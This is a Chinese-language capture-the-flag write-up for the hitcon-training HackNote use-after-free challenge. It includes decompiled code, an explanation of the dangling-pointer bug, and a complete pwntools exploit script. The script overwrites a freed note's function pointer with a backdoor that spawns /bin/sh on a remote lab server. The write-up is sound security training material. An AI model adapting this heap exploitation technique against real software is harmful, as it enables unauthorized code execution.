hitcontraining_uaf

逆向分析

----------------------
       HackNote       
----------------------
 1. Add note          
 2. Delete note       
 3. Print note        
 4. Exit              
----------------------
Your choice :

add 函数

    notelist[i] = malloc(8u);
    *notelist[i] = print_note_content;
    v1 = notelist[i];
    v1[1] = malloc(size);
    printf("Content :");
    read(0, (void *)notelist[i][1], size);
  • notelist[]:存储 chunk 的地址。
  • *notelist[i]:chunk 的第一个内容为 print_note_content 函数地址。
  • v1[1] = malloc(size):chunk的第二个内容为指向 content chunk 块的指针。
    result = (*notelist[v2])(notelist[v2]);
  • 调用 chunk 中第一个指针指向的 print_note_content 打印 chunk 的内容。

del 函数

    free(notelist[v2][1]);
    free(notelist[v2]);
  • free 掉 content 的块和 chunk 块。注意这里指针没有置 0 ,存在 use after free 漏洞。

后门函数 magic

int magic()
{
  return system("/bin/sh");
}

利用思路

  • 创建两个 chunk 0 和 chunk 1 ,分别释放它们。
  • 运用 fastbin attack ,创建 chunk 2 ,覆盖 chunk 0 第一个内容为后门函数 magic 的地址。
  • 打印 chunk 0 的内容,就能触发后门函数拿 shell 。

exp 脚本

from pwn_debug import *

pdbg = pwn_debug('hacknote')
pdbg.remote('node3.buuoj.cn',26883)
pdbg.local()
io = pdbg.run('remote')
elf = ELF('./hacknote')

def add(size,content):
	io.recvuntil('Your choice :')
	io.sendline('1')	
	io.recvuntil('Note size :')
	io.sendline(str(size))
	io.recvuntil('Content :')
	io.sendline(content)

def delete(idx):
	io.recvuntil('Your choice :')
	io.sendline('2')
	io.recvuntil('Index :')
	io.sendline(str(idx))

def print1(idx):
	io.recvuntil('Your choice :')
	io.sendline('3')
	io.recvuntil('Index :')
	io.sendline(str(idx))

magic = 0x8048945

add(48,'aaaa')
add(48,'aaaa')

delete(0)
delete(1)

add(8,p32(magic))
print1(0)

io.interactive()

get flag

内容来源

UAF hitcon-training lab10

posted @ 2020-03-01 11:04  PwnKi  阅读(639)  评论(0编辑  收藏  举报